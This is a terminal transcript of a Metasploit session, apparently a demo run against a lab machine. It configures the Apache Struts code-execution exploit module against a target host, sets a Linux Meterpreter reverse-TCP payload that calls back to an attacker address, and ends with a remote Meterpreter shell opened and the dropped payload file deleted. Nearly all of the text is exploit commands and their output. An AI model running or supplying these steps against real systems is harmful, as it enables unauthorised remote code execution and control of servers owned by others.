kelvin:msf3 bannedit$ ruby msfconsole
_---------.
.' ####### ;."
.---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;'
|@@@@ @@@ @ .
' @@@ @@ @@ ,
`.@@@@ @@ .
',@@ @ ; _____________
( 3 C ) /|___ / Metasploit! \
;@'. __*__,." \|--- \_____________/
'(.,...."/
=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 723 exploits - 370 auxiliary - 75 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13570 updated 4 days ago (2011.08.15)
msf > use exploit/multi/http/struts_code_exec
msf exploit(struts_code_exec) > set RHOST 192.168.0.117
RHOST => 192.168.0.117
msf exploit(struts_code_exec) > show options
Module options (exploit/multi/http/struts_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Execute this command instead of using command stager
Proxies no Use a proxy chain
RHOST 192.168.0.117 yes The target address
RPORT 8080 yes The target port
URI yes The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Windows Universal
msf exploit(struts_code_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Universal
1 Linux Universal
msf exploit(struts_code_exec) > set TARGET 1
TARGET => 1
msf exploit(struts_code_exec) > set URI /struts2-blank-2.0.9/example/HelloWorld.action
URI => /struts2-blank-2.0.9/example/HelloWorld.action
msf exploit(struts_code_exec) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_code_exec) > set LHOST 192.168.0.106
LHOST => 192.168.0.106
msf exploit(struts_code_exec) > exploit
[*] Started reverse handler on 192.168.0.106:4444
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1249280 bytes) to 192.168.0.117
[*] Meterpreter session 1 opened (192.168.0.106:4444 -> 192.168.0.117:46486) at Fri Aug 19 02:01:38 -0400 2011
[*] deleting /tmp/UFzx3yr payload file
meterpreter >